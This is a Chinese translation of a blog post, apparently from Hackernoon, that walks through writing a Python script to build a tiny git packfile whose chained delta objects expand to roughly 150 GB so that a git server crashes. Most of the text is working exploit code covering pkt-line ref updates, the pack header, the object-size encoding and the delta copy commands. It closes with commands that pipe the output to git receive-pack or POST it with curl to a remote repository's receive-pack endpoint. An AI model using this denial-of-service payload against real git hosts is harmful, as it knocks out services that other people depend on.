git协议的一个有趣方面是delta对象。 它们实质上允许从一个对象复制粘贴内容以创建一个新对象。 让我们使用增量创建一个巨大的对象,并尝试破坏git服务器!
计划
我们可以复制粘贴的最大字节数为16711680字节(255 << 16),因此我们将使用此大小的blob并将其粘贴几千次。 只是为了好玩,我们实际上将从255个字节的blob开始,然后逐步提高。
git协议
但是首先,我们需要学习git协议。 负责接收对象的命令是receive-pack ,它期望的第一件事是参考更新列表。 例如:
<OLD_SHA1> <NEW_SHA1> refs/heads/master
我们不会费心寻找有效的OLD_SHA1 ,因此我们将通过创建一个新引用来回避它。 我们可以通过使用特殊的零ID哈希值做到这一点: 0000000000000000000000000000000000000000000000 。 对于NEW_SHA1,我们将仅使用一个虚拟哈希,例如11111111111111111111111111111111111111111 ,因为我们希望git服务器在实际尝试验证该哈希之前崩溃。
最后,这些命令以pkt-line格式编码,该格式添加了4字节长的十六进制前缀。 因此,让我们看看目前为止(我将使用Python 3作为代码示例)。
zero_id = b'0' * 40
fake_id = b'1' * 40
create_ref = b'%s %s refs/heads/xxx\x00\n' % (zero_id, fake_id)
pkt_line = b'%04x%s' % (len(create_ref) + 4, create_ref)
sys.stdout.buffer.write(pkt_line)
sys.stdout.buffer.write(b'0000')
包数
接下来,我们需要开始打包将要发送的对象。 让我们从标头开始:12个字节,包括:ASCII中的“ PACK”,后跟4个字节的版本号(总是2)和4个字节的跟随对象的数目(所有数字按网络字节顺序排列)。 根据我们的计划,我们将从大小为255的blob对象开始,使用此对象生成大小为65280的blob,然后使用此对象生成大小为16711680的blob,最后生成我们的大对象,因此共有4个对象。 我们不会费心创建任何提交对象。
pack = bytearray()
pack += b'PACK' + struct.pack('!II', 2, 4)
标头已准备好,让我们添加第一个blob。 包中的每个对象都需要一个对象标头,该标头编码其类型和大小。 我们将使用的类型号是:blob为3 ,delta为7 。
具有固定大小的字段将太明显了,因此git使用其自己的可变长度编码。 让我们编写一个函数来做到这一点:
def object_header(obj_type, obj_size):
header = bytearray()
b = (obj_type << 4) | (obj_size & 15)
obj_size >>= 4
while obj_size > 0:
header.append(b | 0x80)
b = obj_size & 0x7f
obj_size >>= 7
header.append(b)
return header
我们终于准备好添加第一个blob!
size0 = 255
blob0 = os.urandom(size0)
pack += object_header(3, size0)
pack += zlib.compress(blob0)
三角洲
现在,我们可以创建第一个增量。 我们将blob0复制粘贴256次,以得到大小为65280的新blob。delta格式非常简单:
SRC_SIZE DST_SIZE [COMMANDS]
当然,大小也使用可变长度编码,因此让我们创建几个辅助函数:
def make_delta(src_size, dst_size, commands):
return encode_size(src_size) + encode_size(dst_size) + commands
def encode_size(n):
b = bytearray()
while n > 0:
mod = n & 0x7f
n >>= 7
if n > 0:
b.append(0x80 | mod)
else:
b.append(mod)
return b
我们还需要指向带有20字节哈希头的源对象,所以让我们添加一个函数来计算blob的ID:
def blob_id(blob):
m = hashlib.sha1()
m.update(b'blob %d\0' % len(blob))
m.update(blob)
return m.digest()
现在,我们有了所有构建块来创建我们的第一个增量对象:
size1 = size0 * 256
cmd1 = bytes([0x80 | 0x10, 0xff]) * 256
delta1 = make_delta(size0, size1, cmd1)
pack += object_header(7, len(delta1))
pack += blob_id(blob0) # source
pack += zlib.compress(delta1)
让我们来谈谈我们创建的命令。 第一个字节定义了我们正在执行的操作。 0x80表示我们要从源对象复制。 0x10表示后面的字节将说明要复制多少字节。 因此,这2个字节实际上转换为:复制255个字节。 我们这样做256次。
好的,让我们创建第二个增量:
size2 = size1 * 256
cmd2 = bytes([0x80 | 0x20, 0xff]) * 256
delta2 = make_delta(size1, size2, cmd2)
pack += object_header(7, len(delta2))
pack += blob_id(blob0 * 256) # source blob
pack += zlib.compress(delta2)
请注意,这里我们如何使用命令0x20 ,这意味着下一个字节将乘以256,并用作副本大小。 因此,我们的新命令转换为:复制65280字节,共256次。 另请注意,对于源ID,我们使用将由delta1生成的Blob 。
delta2是我们最大的构建块,让我们使用它来生成大约150 GB的blob大小。
size3 = size2 * 10000
cmd3 = bytes([0x80 | 0x40, 0xff]) * 10000
delta3 = make_delta(size2, size3, cmd3)
pack += object_header(7, len(delta3))
pack += blob_id(blob0 * 256 * 256) # source blob
pack += zlib.compress(delta3)
在这里,我们使用命令0x40 ,该命令将以下字节乘以65536,从而允许我们创建命令:复制16711680字节,共10000次。
就是这样,总包大小为464字节,可生成约150 GB。 您可以运行:
./amplify.py | git receive-pack /path/to/repo.git
或尝试使用远程仓库:
./amplify.py | curl -v -X POST — data-binary @- -H ‘Content-Type: application/x-git-receive-pack-request’ https://host/path/repo.git/git-receive-pack
这是最终的来源: https : //gist.github.com/verigak/bda113dc5850d2cb30c9b3c5f83c8141
From: https://hackernoon.com/git-delta-amplification-4c55b70e5cf0